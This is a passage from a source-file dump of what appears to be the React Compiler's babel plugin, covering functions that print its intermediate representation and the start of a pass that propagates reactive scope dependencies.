Label block=bb${terminal.block} fallthrough=${\n        terminal.fallthrough ? `bb${terminal.fallthrough}` : ''\n      }`;\n      break;\n    }\n    case 'sequence': {\n      value = `[${terminal.id}] Sequence block=bb${terminal.block} fallthrough=bb${terminal.fallthrough}`;\n      break;\n    }\n    case 'unreachable': {\n      value = `[${terminal.id}] Unreachable`;\n      break;\n    }\n    case 'unsupported': {\n      value = `[${terminal.id}] Unsupported`;\n      break;\n    }\n    case 'maybe-throw': {\n      const handlerStr =\n        terminal.handler !== null ? `bb${terminal.handler}` : '(none)';\n      value = `[${terminal.id}] MaybeThrow continuation=bb${terminal.continuation} handler=${handlerStr}`;\n      if (terminal.effects != null) {\n        value += `\\n    ${terminal.effects.map(printAliasingEffect).join('\\n    ')}`;\n      }\n      break;\n    }\n    case 'scope': {\n      value = `[${terminal.id}] Scope ${printReactiveScopeSummary(\n        terminal.scope,\n      )} block=bb${terminal.block} fallthrough=bb${terminal.fallthrough}`;\n      break;\n    }\n    case 'pruned-scope': {\n      value = `[${terminal.id}] <pruned> Scope ${printReactiveScopeSummary(\n        terminal.scope,\n      )} block=bb${terminal.block} fallthrough=bb${terminal.fallthrough}`;\n      break;\n    }\n    case 'try': {\n      value = `[${terminal.id}] Try block=bb${terminal.block} handler=bb${\n        terminal.handler\n      }${\n        terminal.handlerBinding !== null\n          ? ` handlerBinding=(${printPlace(terminal.handlerBinding)})`\n          : ''\n      } fallthrough=${\n        terminal.fallthrough != null ? `bb${terminal.fallthrough}` : ''\n      }`;\n      break;\n    }\n    default: {\n      assertExhaustive(\n        terminal,\n        `Unexpected terminal kind \\`${terminal as any as Terminal}\\``,\n      );\n    }\n  }\n  return value;\n}\n\nfunction printHole(): string {\n  return '<hole>';\n}\n\nfunction printObjectPropertyKey(key: ObjectPropertyKey): string {\n  switch (key.kind) {\n    case 'identifier':\n      return key.name;\n    case 'string':\n      return `\"${key.name}\"`;\n    case 'computed': {\n      return `[${printPlace(key.name)}]`;\n    }\n    case 'number': {\n      return String(key.name);\n    }\n  }\n}\n\nexport function printInstructionValue(instrValue: ReactiveValue): string {\n  let value = '';\n  switch (instrValue.kind) {\n    case 'ArrayExpression': {\n      value = `Array [${instrValue.elements\n        .map(element => {\n          if (element.kind === 'Identifier') {\n            return printPlace(element);\n          } else if (element.kind === 'Hole') {\n            return printHole();\n          } else {\n            return `...${printPlace(element.place)}`;\n          }\n        })\n        .join(', ')}]`;\n      break;\n    }\n    case 'ObjectExpression': {\n      const properties = [];\n      if (instrValue.properties !== null) {\n        for (const property of instrValue.properties) {\n          if (property.kind === 'ObjectProperty') {\n            properties.push(\n              `${printObjectPropertyKey(property.key)}: ${printPlace(\n                property.place,\n              )}`,\n            );\n          } else {\n            properties.push(`...${printPlace(property.place)}`);\n          }\n        }\n      }\n      value = `Object { ${properties.join(', ')} }`;\n      break;\n    }\n    case 'UnaryExpression': {\n      value = `Unary ${printPlace(instrValue.value)}`;\n      break;\n    }\n    case 'BinaryExpression': {\n      value = `Binary ${printPlace(instrValue.left)} ${\n        instrValue.operator\n      } ${printPlace(instrValue.right)}`;\n      break;\n    }\n    case 'NewExpression': {\n      value = `New ${printPlace(instrValue.callee)}(${instrValue.args\n        .map(arg => printPattern(arg))\n        .join(', ')})`;\n      break;\n    }\n    case 'CallExpression': {\n      value = `Call ${printPlace(instrValue.callee)}(${instrValue.args\n        .map(arg => printPattern(arg))\n        .join(', ')})`;\n      break;\n    }\n    case 'MethodCall': {\n      value = `MethodCall ${printPlace(instrValue.receiver)}.${printPlace(\n        instrValue.property,\n      )}(${instrValue.args.map(arg => printPattern(arg)).join(', ')})`;\n      break;\n    }\n    case 'JSXText': {\n      value = `JSXText ${JSON.stringify(instrValue.value)}`;\n      break;\n    }\n    case 'Primitive': {\n      if (instrValue.value === undefined) {\n        value = '<undefined>';\n      } else {\n        value = JSON.stringify(instrValue.value);\n      }\n      break;\n    }\n    case 'TypeCastExpression': {\n      value = `TypeCast ${printPlace(instrValue.value)}: ${printType(\n        instrValue.type,\n      )}`;\n      break;\n    }\n    case 'JsxExpression': {\n      const propItems = [];\n      for (const attribute of instrValue.props) {\n        if (attribute.kind === 'JsxAttribute') {\n          propItems.push(\n            `${attribute.name}={${\n              attribute.place !== null ? printPlace(attribute.place) : '<empty>'\n            }}`,\n          );\n        } else {\n          propItems.push(`...${printPlace(attribute.argument)}`);\n        }\n      }\n      const tag =\n        instrValue.tag.kind === 'Identifier'\n          ? printPlace(instrValue.tag)\n          : instrValue.tag.name;\n      const props = propItems.length !== 0 ? ' ' + propItems.join(' ') : '';\n      if (instrValue.children !== null) {\n        const children = instrValue.children.map(child => {\n          return `{${printPlace(child)}}`;\n        });\n        value = `JSX <${tag}${props}${\n          props.length > 0 ? ' ' : ''\n        }>${children.join('')}</${tag}>`;\n      } else {\n        value = `JSX <${tag}${props}${props.length > 0 ? ' ' : ''}/>`;\n      }\n      break;\n    }\n    case 'JsxFragment': {\n      value = `JsxFragment [${instrValue.children\n        .map(child => printPlace(child))\n        .join(', ')}]`;\n      break;\n    }\n    case 'UnsupportedNode': {\n      value = `UnsupportedNode ${instrValue.node.type}`;\n      break;\n    }\n    case 'LoadLocal': {\n      value = `LoadLocal ${printPlace(instrValue.place)}`;\n      break;\n    }\n    case 'DeclareLocal': {\n      value = `DeclareLocal ${instrValue.lvalue.kind} ${printPlace(\n        instrValue.lvalue.place,\n      )}`;\n      break;\n    }\n    case 'DeclareContext': {\n      value = `DeclareContext ${instrValue.lvalue.kind} ${printPlace(\n        instrValue.lvalue.place,\n      )}`;\n      break;\n    }\n    case 'StoreLocal': {\n      value = `StoreLocal ${instrValue.lvalue.kind} ${printPlace(\n        instrValue.lvalue.place,\n      )} = ${printPlace(instrValue.value)}`;\n      break;\n    }\n    case 'LoadContext': {\n      value = `LoadContext ${printPlace(instrValue.place)}`;\n      break;\n    }\n    case 'StoreContext': {\n      value = `StoreContext ${instrValue.lvalue.kind} ${printPlace(\n        instrValue.lvalue.place,\n      )} = ${printPlace(instrValue.value)}`;\n      break;\n    }\n    case 'Destructure': {\n      value = `Destructure ${instrValue.lvalue.kind} ${printPattern(\n        instrValue.lvalue.pattern,\n      )} = ${printPlace(instrValue.value)}`;\n      break;\n    }\n    case 'PropertyLoad': {\n      value = `PropertyLoad ${printPlace(instrValue.object)}.${\n        instrValue.property\n      }`;\n      break;\n    }\n    case 'PropertyStore': {\n      value = `PropertyStore ${printPlace(instrValue.object)}.${\n        instrValue.property\n      } = ${printPlace(instrValue.value)}`;\n      break;\n    }\n    case 'PropertyDelete': {\n      value = `PropertyDelete ${printPlace(instrValue.object)}.${\n        instrValue.property\n      }`;\n      break;\n    }\n    case 'ComputedLoad': {\n      value = `ComputedLoad ${printPlace(instrValue.object)}[${printPlace(\n        instrValue.property,\n      )}]`;\n      break;\n    }\n    case 'ComputedStore': {\n      value = `ComputedStore ${printPlace(instrValue.object)}[${printPlace(\n        instrValue.property,\n      )}] = ${printPlace(instrValue.value)}`;\n      break;\n    }\n    case 'ComputedDelete': {\n      value = `ComputedDelete ${printPlace(instrValue.object)}[${printPlace(\n        instrValue.property,\n      )}]`;\n      break;\n    }\n    case 'ObjectMethod':\n    case 'FunctionExpression': {\n      const kind =\n        instrValue.kind === 'FunctionExpression' ? 'Function' : 'ObjectMethod';\n      const name = getFunctionName(instrValue, '');\n      const fn = printFunction(instrValue.loweredFunc.func)\n        .split('\\n')\n        .map(line => `      ${line}`)\n        .join('\\n');\n      const context = instrValue.loweredFunc.func.context\n        .map(dep => printPlace(dep))\n        .join(',');\n      const aliasingEffects =\n        instrValue.loweredFunc.func.aliasingEffects\n          ?.map(printAliasingEffect)\n          ?.join(', ') ?? '';\n      value = `${kind} ${name} @context[${context}] @aliasingEffects=[${aliasingEffects}]\\n${fn}`;\n      break;\n    }\n    case 'TaggedTemplateExpression': {\n      value = `${printPlace(instrValue.tag)}\\`${instrValue.value.raw}\\``;\n      break;\n    }\n    case 'LogicalExpression': {\n      value = `Logical ${printInstructionValue(instrValue.left)} ${\n        instrValue.operator\n      } ${printInstructionValue(instrValue.right)}`;\n      break;\n    }\n    case 'SequenceExpression': {\n      value = [\n        `Sequence`,\n        ...instrValue.instructions.map(\n          instr => `    ${printInstruction(instr)}`,\n        ),\n        `    ${printInstructionValue(instrValue.value)}`,\n      ].join('\\n');\n      break;\n    }\n    case 'ConditionalExpression': {\n      value = `Ternary ${printInstructionValue(\n        instrValue.test,\n      )} ? ${printInstructionValue(\n        instrValue.consequent,\n      )} : ${printInstructionValue(instrValue.alternate)}`;\n      break;\n    }\n    case 'TemplateLiteral': {\n      value = '`';\n      CompilerError.invariant(\n        instrValue.subexprs.length === instrValue.quasis.length - 1,\n        {\n          reason: 'Bad assumption about quasi length.',\n          loc: instrValue.loc,\n        },\n      );\n      for (let i = 0; i < instrValue.subexprs.length; i++) {\n        value += instrValue.quasis[i].raw;\n        value += `\\${${printPlace(instrValue.subexprs[i])}}`;\n      }\n      value += instrValue.quasis.at(-1)!.raw + '`';\n      break;\n    }\n    case 'LoadGlobal': {\n      switch (instrValue.binding.kind) {\n        case 'Global': {\n          value = `LoadGlobal(global) ${instrValue.binding.name}`;\n          break;\n        }\n        case 'ModuleLocal': {\n          value = `LoadGlobal(module) ${instrValue.binding.name}`;\n          break;\n        }\n        case 'ImportDefault': {\n          value = `LoadGlobal import ${instrValue.binding.name} from '${instrValue.binding.module}'`;\n          break;\n        }\n        case 'ImportNamespace': {\n          value = `LoadGlobal import * as ${instrValue.binding.name} from '${instrValue.binding.module}'`;\n          break;\n        }\n        case 'ImportSpecifier': {\n          if (instrValue.binding.imported !== instrValue.binding.name) {\n            value = `LoadGlobal import { ${instrValue.binding.imported} as ${instrValue.binding.name} } from '${instrValue.binding.module}'`;\n          } else {\n            value = `LoadGlobal import { ${instrValue.binding.name} } from '${instrValue.binding.module}'`;\n          }\n          break;\n        }\n        default: {\n          assertExhaustive(\n            instrValue.binding,\n            `Unexpected binding kind \\`${(instrValue.binding as any).kind}\\``,\n          );\n        }\n      }\n      break;\n    }\n    case 'StoreGlobal': {\n      value = `StoreGlobal ${instrValue.name} = ${printPlace(\n        instrValue.value,\n      )}`;\n      break;\n    }\n    case 'OptionalExpression': {\n      value = `OptionalExpression ${printInstructionValue(instrValue.value)}`;\n      break;\n    }\n    case 'RegExpLiteral': {\n      value = `RegExp /${instrValue.pattern}/${instrValue.flags}`;\n      break;\n    }\n    case 'MetaProperty': {\n      value = `MetaProperty ${instrValue.meta}.${instrValue.property}`;\n      break;\n    }\n    case 'Await': {\n      value = `Await ${printPlace(instrValue.value)}`;\n      break;\n    }\n    case 'GetIterator': {\n      value = `GetIterator collection=${printPlace(instrValue.collection)}`;\n      break;\n    }\n    case 'IteratorNext': {\n      value = `IteratorNext iterator=${printPlace(\n        instrValue.iterator,\n      )} collection=${printPlace(instrValue.collection)}`;\n      break;\n    }\n    case 'NextPropertyOf': {\n      value = `NextPropertyOf ${printPlace(instrValue.value)}`;\n      break;\n    }\n    case 'Debugger': {\n      value = `Debugger`;\n      break;\n    }\n    case 'PostfixUpdate': {\n      value = `PostfixUpdate ${printPlace(instrValue.lvalue)} = ${printPlace(\n        instrValue.value,\n      )} ${instrValue.operation}`;\n      break;\n    }\n    case 'PrefixUpdate': {\n      value = `PrefixUpdate ${printPlace(instrValue.lvalue)} = ${\n        instrValue.operation\n      } ${printPlace(instrValue.value)}`;\n      break;\n    }\n    case 'StartMemoize': {\n      value = `StartMemoize deps=${\n        instrValue.deps?.map(dep => printManualMemoDependency(dep, false)) ??\n        '(none)'\n      }`;\n      break;\n    }\n    case 'FinishMemoize': {\n      value = `FinishMemoize decl=${printPlace(instrValue.decl)}${instrValue.pruned ? ' pruned' : ''}`;\n      break;\n    }\n    default: {\n      assertExhaustive(\n        instrValue,\n        `Unexpected instruction kind '${\n          (instrValue as any as InstructionValue).kind\n        }'`,\n      );\n    }\n  }\n  return value;\n}\n\nfunction isMutable(range: MutableRange): boolean {\n  return range.end > range.start + 1;\n}\n\nconst DEBUG_MUTABLE_RANGES = false;\nfunction printMutableRange(identifier: Identifier): string {\n  if (DEBUG_MUTABLE_RANGES) {\n    // if debugging, print both the identifier and scope range if they differ\n    const range = identifier.mutableRange;\n    const scopeRange = identifier.scope?.range;\n    if (\n      scopeRange != null &&\n      (scopeRange.start !== range.start || scopeRange.end !== range.end)\n    ) {\n      return `[${range.start}:${range.end}] scope=[${scopeRange.start}:${scopeRange.end}]`;\n    }\n    return isMutable(range) ? `[${range.start}:${range.end}]` : '';\n  }\n  // in non-debug mode, prefer the scope range if it exists\n  const range = identifier.scope?.range ?? identifier.mutableRange;\n  return isMutable(range) ? `[${range.start}:${range.end}]` : '';\n}\n\nexport function printLValue(lval: LValue): string {\n  let lvalue = `${printPlace(lval.place)}`;\n\n  switch (lval.kind) {\n    case InstructionKind.Let: {\n      return `Let ${lvalue}`;\n    }\n    case InstructionKind.Const: {\n      return `Const ${lvalue}$`;\n    }\n    case InstructionKind.Reassign: {\n      return `Reassign ${lvalue}`;\n    }\n    case InstructionKind.Catch: {\n      return `Catch ${lvalue}`;\n    }\n    case InstructionKind.HoistedConst: {\n      return `HoistedConst ${lvalue}$`;\n    }\n    case InstructionKind.HoistedLet: {\n      return `HoistedLet ${lvalue}$`;\n    }\n    case InstructionKind.Function: {\n      return `Function ${lvalue}$`;\n    }\n    case InstructionKind.HoistedFunction: {\n      return `HoistedFunction ${lvalue}$`;\n    }\n    default: {\n      assertExhaustive(lval.kind, `Unexpected lvalue kind \\`${lval.kind}\\``);\n    }\n  }\n}\n\nexport function printPattern(pattern: Pattern | Place | SpreadPattern): string {\n  switch (pattern.kind) {\n    case 'ArrayPattern': {\n      return (\n        '[ ' +\n        pattern.items\n          .map(item => {\n            if (item.kind === 'Hole') {\n              return '<hole>';\n            }\n            return printPattern(item);\n          })\n          .join(', ') +\n        ' ]'\n      );\n    }\n    case 'ObjectPattern': {\n      return (\n        '{ ' +\n        pattern.properties\n          .map(item => {\n            switch (item.kind) {\n              case 'ObjectProperty': {\n                return `${printObjectPropertyKey(item.key)}: ${printPattern(\n                  item.place,\n                )}`;\n              }\n              case 'Spread': {\n                return printPattern(item);\n              }\n              default: {\n                assertExhaustive(item, 'Unexpected object property kind');\n              }\n            }\n          })\n          .join(', ') +\n        ' }'\n      );\n    }\n    case 'Spread': {\n      return `...${printPlace(pattern.place)}`;\n    }\n    case 'Identifier': {\n      return printPlace(pattern);\n    }\n    default: {\n      assertExhaustive(\n        pattern,\n        `Unexpected pattern kind \\`${(pattern as any).kind}\\``,\n      );\n    }\n  }\n}\n\nexport function printPlace(place: Place): string {\n  const items = [\n    place.effect,\n    ' ',\n    printIdentifier(place.identifier),\n    printMutableRange(place.identifier),\n    printType(place.identifier.type),\n    place.reactive ? '{reactive}' : null,\n  ];\n  return items.filter(x => x != null).join('');\n}\n\nexport function printIdentifier(id: Identifier): string {\n  return `${printName(id.name)}\\$${id.id}${printScope(id.scope)}`;\n}\n\nfunction printName(name: IdentifierName | null): string {\n  if (name === null) {\n    return '';\n  }\n  return name.value;\n}\n\nfunction printScope(scope: ReactiveScope | null): string {\n  return `${scope !== null ? `_@${scope.id}` : ''}`;\n}\n\nexport function printManualMemoDependency(\n  val: ManualMemoDependency,\n  nameOnly: boolean,\n): string {\n  let rootStr;\n  if (val.root.kind === 'Global') {\n    rootStr = val.root.identifierName;\n  } else {\n    CompilerError.invariant(val.root.value.identifier.name?.kind === 'named', {\n      reason: 'DepsValidation: expected named local variable in depslist',\n      loc: val.root.value.loc,\n    });\n    rootStr = nameOnly\n      ? val.root.value.identifier.name.value\n      : printIdentifier(val.root.value.identifier);\n  }\n  return `${rootStr}${val.path.map(v => `${v.optional ? '?.' : '.'}${v.property}`).join('')}`;\n}\nexport function printType(type: Type): string {\n  if (type.kind === 'Type') return '';\n  // TODO(mofeiZ): add debugName for generated ids\n  if (type.kind === 'Object' && type.shapeId != null) {\n    return `:T${type.kind}<${type.shapeId}>`;\n  } else if (type.kind === 'Function' && type.shapeId != null) {\n    const returnType = printType(type.return);\n    return `:T${type.kind}<${type.shapeId}>()${returnType !== '' ? `:  ${returnType}` : ''}`;\n  } else {\n    return `:T${type.kind}`;\n  }\n}\n\nexport function printSourceLocation(loc: SourceLocation): string {\n  if (typeof loc === 'symbol') {\n    return 'generated';\n  } else {\n    return `${loc.start.line}:${loc.start.column}:${loc.end.line}:${loc.end.column}`;\n  }\n}\n\nexport function printSourceLocationLine(loc: SourceLocation): string {\n  if (typeof loc === 'symbol') {\n    return 'generated';\n  } else {\n    return `${loc.start.line}:${loc.end.line}`;\n  }\n}\n\nexport function printAliases(aliases: DisjointSet<Identifier>): string {\n  const aliasSets = aliases.buildSets();\n\n  const items = [];\n  for (const aliasSet of aliasSets) {\n    items.push([...aliasSet].map(id => printIdentifier(id)).join(','));\n  }\n\n  return items.join('\\n');\n}\n\nfunction getFunctionName(\n  instrValue: ObjectMethod | FunctionExpression,\n  defaultValue: string,\n): string {\n  switch (instrValue.kind) {\n    case 'FunctionExpression':\n      return instrValue.name ?? defaultValue;\n    case 'ObjectMethod':\n      return defaultValue;\n  }\n}\n\nexport function printAliasingEffect(effect: AliasingEffect): string {\n  switch (effect.kind) {\n    case 'Assign': {\n      return `Assign ${printPlaceForAliasEffect(effect.into)} = ${printPlaceForAliasEffect(effect.from)}`;\n    }\n    case 'Alias': {\n      return `Alias ${printPlaceForAliasEffect(effect.into)} <- ${printPlaceForAliasEffect(effect.from)}`;\n    }\n    case 'MaybeAlias': {\n      return `MaybeAlias ${printPlaceForAliasEffect(effect.into)} <- ${printPlaceForAliasEffect(effect.from)}`;\n    }\n    case 'Capture': {\n      return `Capture ${printPlaceForAliasEffect(effect.into)} <- ${printPlaceForAliasEffect(effect.from)}`;\n    }\n    case 'ImmutableCapture': {\n      return `ImmutableCapture ${printPlaceForAliasEffect(effect.into)} <- ${printPlaceForAliasEffect(effect.from)}`;\n    }\n    case 'Create': {\n      return `Create ${printPlaceForAliasEffect(effect.into)} = ${effect.value}`;\n    }\n    case 'CreateFrom': {\n      return `Create ${printPlaceForAliasEffect(effect.into)} = kindOf(${printPlaceForAliasEffect(effect.from)})`;\n    }\n    case 'CreateFunction': {\n      return `Function ${printPlaceForAliasEffect(effect.into)} = Function captures=[${effect.captures.map(printPlaceForAliasEffect).join(', ')}]`;\n    }\n    case 'Apply': {\n      const receiverCallee =\n        effect.receiver.identifier.id === effect.function.identifier.id\n          ? printPlaceForAliasEffect(effect.receiver)\n          : `${printPlaceForAliasEffect(effect.receiver)}.${printPlaceForAliasEffect(effect.function)}`;\n      const args = effect.args\n        .map(arg => {\n          if (arg.kind === 'Identifier') {\n            return printPlaceForAliasEffect(arg);\n          } else if (arg.kind === 'Hole') {\n            return ' ';\n          }\n          return `...${printPlaceForAliasEffect(arg.place)}`;\n        })\n        .join(', ');\n      let signature = '';\n      if (effect.signature != null) {\n        if (effect.signature.aliasing != null) {\n          signature = printAliasingSignature(effect.signature.aliasing);\n        } else {\n          signature = JSON.stringify(effect.signature, null, 2);\n        }\n      }\n      return `Apply ${printPlaceForAliasEffect(effect.into)} = ${receiverCallee}(${args})${signature != '' ? '\\n     ' : ''}${signature}`;\n    }\n    case 'Freeze': {\n      return `Freeze ${printPlaceForAliasEffect(effect.value)} ${effect.reason}`;\n    }\n    case 'Mutate':\n    case 'MutateConditionally':\n    case 'MutateTransitive':\n    case 'MutateTransitiveConditionally': {\n      return `${effect.kind} ${printPlaceForAliasEffect(effect.value)}${effect.kind === 'Mutate' && effect.reason?.kind === 'AssignCurrentProperty' ? ' (assign `.current`)' : ''}`;\n    }\n    case 'MutateFrozen': {\n      return `MutateFrozen ${printPlaceForAliasEffect(effect.place)} reason=${JSON.stringify(effect.error.reason)}`;\n    }\n    case 'MutateGlobal': {\n      return `MutateGlobal ${printPlaceForAliasEffect(effect.place)} reason=${JSON.stringify(effect.error.reason)}`;\n    }\n    case 'Impure': {\n      return `Impure ${printPlaceForAliasEffect(effect.place)} reason=${JSON.stringify(effect.error.reason)}`;\n    }\n    case 'Render': {\n      return `Render ${printPlaceForAliasEffect(effect.place)}`;\n    }\n    default: {\n      assertExhaustive(effect, `Unexpected kind '${(effect as any).kind}'`);\n    }\n  }\n}\n\nfunction printPlaceForAliasEffect(place: Place): string {\n  return printIdentifier(place.identifier);\n}\n\nexport function printAliasingSignature(signature: AliasingSignature): string {\n  const tokens: Array<string> = ['function '];\n  if (signature.temporaries.length !== 0) {\n    tokens.push('<');\n    tokens.push(\n      signature.temporaries.map(temp => `$${temp.identifier.id}`).join(', '),\n    );\n    tokens.push('>');\n  }\n  tokens.push('(');\n  tokens.push('this=$' + String(signature.receiver));\n  for (const param of signature.params) {\n    tokens.push(', $' + String(param));\n  }\n  if (signature.rest != null) {\n    tokens.push(`, ...$${String(signature.rest)}`);\n  }\n  tokens.push('): ');\n  tokens.push('$' + String(signature.returns) + ':');\n  for (const effect of signature.effects) {\n    tokens.push('\\n  ' + printAliasingEffect(effect));\n  }\n  return tokens.join('');\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/PropagateScopeDependenciesHIR.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  ScopeId,\n  HIRFunction,\n  Place,\n  Instruction,\n  ReactiveScopeDependency,\n  Identifier,\n  ReactiveScope,\n  isObjectMethodType,\n  isRefValueType,\n  isUseRefType,\n  makeInstructionId,\n  InstructionId,\n  InstructionKind,\n  GeneratedSource,\n  DeclarationId,\n  areEqualPaths,\n  IdentifierId,\n  Terminal,\n  InstructionValue,\n  LoadContext,\n  TInstruction,\n  FunctionExpression,\n  ObjectMethod,\n  PropertyLiteral,\n  convertHoistedLValueKind,\n  SourceLocation,\n} from './HIR';\nimport {\n  collectHoistablePropertyLoads,\n  keyByScopeId,\n} from './CollectHoistablePropertyLoads';\nimport {\n  ScopeBlockTraversal,\n  eachInstructionOperand,\n  eachInstructionValueOperand,\n  eachPatternOperand,\n  eachTerminalOperand,\n} from './visitors';\nimport {Stack, empty} from '../Utils/Stack';\nimport {CompilerError} from '../CompilerError';\nimport {Iterable_some} from '../Utils/utils';\nimport {ReactiveScopeDependencyTreeHIR} from './DeriveMinimalDependenciesHIR';\nimport {collectOptionalChainSidemap} from './CollectOptionalChainDependencies';\n\nexport function propagateScopeDependenciesHIR(fn: HIRFunction): void {\n  const usedOutsideDeclaringScope =\n    findTemporariesUsedOutsideDeclaringScope(fn);\n  const temporaries = collectTemporariesSidemap(fn, usedOutsideDeclaringScope);\n  const {\n    temporariesReadInOptional,\n    processedInstrsInOptional,\n    hoistableObjects,\n  } = collectOptionalChainSidemap(fn);\n\n  const hoistablePropertyLoads = keyByScopeId(\n    fn,\n    collectHoistablePropertyLoads(fn, temporaries, hoistableObjects),\n  );\n\n  const scopeDeps = collectDependencies(\n    fn,\n    usedOutsideDeclaringScope,\n    new Map([...temporaries, ...temporariesReadInOptional]),\n    processedInstrsInOptional,\n  );\n\n  /**\n   * Derive the minimal set of hoistable dependencies for each scope.\n   */\n  for (const [scope, deps] of scopeDeps) {\n    if (deps.length === 0) {\n      continue;\n    }\n\n    /**\n     * Step 1: Find hoistable accesses, given the basic block in which the scope\n     * begins.\n     */\n    const hoistables = hoistablePropertyLoads.get(scope.id);\n    CompilerError.invariant(hoistables != null, {\n      reason: '[PropagateScopeDependencies] Scope not found in tracked blocks',\n      loc: GeneratedSource,\n    });\n    /**\n     * Step 2: Calculate hoistable dependencies.\n     */\n    const tree = new ReactiveScopeDependencyTreeHIR(\n      [...hoistables.assumedNonNullObjects].map(o => o.fullPath),\n    );\n    for (const dep of deps) {\n      tree.addDependency({...dep});\n    }\n\n    /**\n     * Step 3: Reduce dependencies to a minimal set.\n     */\n    const candidates = tree.deriveMinimalDependencies();\n    for (const candidateDep of candidates) {\n      if (\n        !Iterable_some(\n          scope.dependencies,\n          existingDep =>\n            existingDep.identifier.declarationId ===\n              candidateDep.identifier.declarationId &&\n            areEqualPaths(existingDep.path, candidateDep.path),\n        )\n      )\n        scope.dependencies.add(candidateDep);\n    }\n  }\n}\n\nexport function findTemporariesUsedOutsideDeclaringScope(\n  fn: HIRFunction,\n): ReadonlySet<DeclarationId> {\n  /*\n   * tracks all relevant LoadLocal and PropertyLoad lvalues\n   * and the scope where they are defined\n   */\n  const declarations = new Map<DeclarationId, ScopeId>();\n  const prunedScopes = new Set<ScopeId>();\n  const scopeTraversal = new ScopeBlockTraversal();\n  const usedOutsideDeclaringScope = new Set<DeclarationId>();\n\n  function handlePlace(place: Place): void {\n    const declaringScope = declarations.get(place.identifier.declarationId);\n    if (\n      declaringScope != null &&\n      !scopeTraversal.isScopeActive(declaringScope) &&\n      !prunedScopes.has(declaringScope)\n    ) {\n      // Declaring scope is not active === used outside declaring scope\n      usedOutsideDeclaringScope.add(place.identifier.declarationId);\n    }\n  }\n\n  function handleInstruction(instr: Instruction): void {\n    const scope = scopeTraversal.currentScope;\n    if (scope == null || prunedScopes.has(scope)) {\n      return;\n    }\n    switch (instr.value.kind) {\n      case 'LoadLocal':\n      case 'LoadContext':\n      case 'PropertyLoad': {\n        declarations.set(instr.lvalue.identifier.declarationId, scope);\n        break;\n      }\n      default: {\n        break;\n      }\n    }\n  }\n\n  for (const [blockId, block] of fn.body.blocks) {\n    scopeTraversal.recordScopes(block);\n    const scopeStartInfo = scopeTraversal.blockInfos.get(blockId);\n    if (scopeStartInfo?.kind === 'begin' && scopeStartInfo.pruned) {\n      prunedScopes.add(scopeStartInfo.scope.id);\n    }\n    for (const instr of block.instructions) {\n      for (const place of eachInstructionOperand(instr)) {\n        handlePlace(place);\n      }\n      handleInstruction(instr);\n    }\n\n    for (const place of eachTerminalOperand(block.terminal)) {\n      handlePlace(place);\n    }\n  }\n  return usedOutsideDeclaringScope;\n}\n\n/**\n * @returns mapping of LoadLocal and PropertyLoad to the source of the load.\n * ```js\n * // source\n * foo(a.b);\n *\n * // HIR: a potential sidemap is {0: a, 1: a.b, 2: foo}\n * $0 = LoadLocal 'a'\n * $1 = PropertyLoad $0, 'b'\n * $2 = LoadLocal 'foo'\n * $3 = CallExpression $2($1)\n * ```\n * @param usedOutsideDeclaringScope is used to check the correctness of\n * reordering LoadLocal / PropertyLoad calls. We only track a LoadLocal /\n * PropertyLoad in the returned temporaries map if reordering the read (from the\n * time-of-load to time-of-use) is valid.\n *\n * If a LoadLocal or PropertyLoad instruction is within the reactive scope range\n * (a proxy for mutable range) of the load source, later instructions may\n * reassign / mutate the source value. Since it's incorrect to reorder these\n * load instructions to after their scope ranges, we also do not store them in\n * identifier sidemaps.\n *\n * Take this example (from fixture\n * `evaluation-order-mutate-call-after-dependency-load`)\n * ```js\n * // source\n * function useFoo(arg) {\n *   const arr = [1, 2, 3, ...arg];\n *   return [\n *     arr.length,\n *     arr.push(0)\n *   ];\n * }\n *\n * // IR pseudocode\n * scope @0 {\n *   $0 = arr = ArrayExpression [1, 2, 3, ...arg]\n *   $1 = arr.length\n *   $2 = arr.push(0)\n * }\n * scope @1 {\n *   $3 = ArrayExpression [$1, $2]\n * }\n * ```\n * Here, it's invalid for scope@1 to take `arr.length` as a dependency instead\n * of $1, as the evaluation of `arr.length` changes between instructions $1 and\n * $3. We do not track $1 -> arr.length in this case.\n */\nexport function collectTemporariesSidemap(\n  fn: HIRFunction,\n  usedOutsideDeclaringScope: ReadonlySet<DeclarationId>,\n): ReadonlyMap<IdentifierId, ReactiveScopeDependency> {\n  const temporaries = new Map();\n  collectTemporariesSidemapImpl(\n    fn,\n    usedOutsideDeclaringScope,\n    temporaries,\n    null,\n  );\n  return temporaries;\n}\n\nfunction isLoadContextMutable(\n  instrValue: InstructionValue,\n  id: InstructionId,\n): instrValue is LoadContext {\n  if (instrValue.kind === 'LoadContext') {\n    /**\n     * Not all context variables currently have scopes due to limitations of\n     * mutability analysis for function expressions.\n     *\n     * Currently, many function expressions references are inferred to be\n     * 'Read' | 'Freeze' effects which don't replay mutable effects of captured\n     * context.\n     */\n    return (\n      instrValue.place.identifier.scope != null &&\n      id >= instrValue.place.identifier.scope.range.end\n    );\n  }\n  return false;\n}\n/**\n * Recursive collect a sidemap of all `LoadLocal` and `PropertyLoads` with a\n * function and all nested functions.\n *\n * Note that IdentifierIds are currently unique, so we can use a single\n * Map<IdentifierId, ...> across all nested functions.\n */\nfunction collectTemporariesSidemapImpl(\n  fn: HIRFunction,\n  usedOutsideDeclaringScope: ReadonlySet<DeclarationId>,\n  temporaries: Map<IdentifierId, ReactiveScopeDependency>,\n  innerFnContext: {instrId: InstructionId} | null,\n): void {\n  for (const [_, block] of fn.body.blocks) {\n    for (const {value, lvalue, id: origInstrId} of block.instructions) {\n      const instrId =\n        innerFnContext != null ? innerFnContext.instrId : origInstrId;\n      const usedOutside = usedOutsideDeclaringScope.has(\n        lvalue.identifier.declarationId,\n      );\n\n      if (value.kind === 'PropertyLoad' && !usedOutside) {\n        if (\n          innerFnContext == null ||\n          temporaries.has(value.object.identifier.id)\n        ) {\n          /**\n           * All dependencies of a inner / nested function must have a base\n           * identifier from the outermost component / hook. This is because the\n           * compiler cannot break an inner function into multiple granular\n           * scopes.\n           */\n          const property = getProperty(\n            value.object,\n            value.property,\n            false,\n            value.loc,\n            temporaries,\n          );\n          temporaries.set(lvalue.identifier.id, property);\n        }\n      } else if (\n        (value.kind === 'LoadLocal' || isLoadContextMutable(value, instrId)) &&\n        lvalue.identifier.name == null &&\n        value.place.identifier.name !== null &&\n        !usedOutside\n      ) {\n        if (\n          innerFnContext == null ||\n          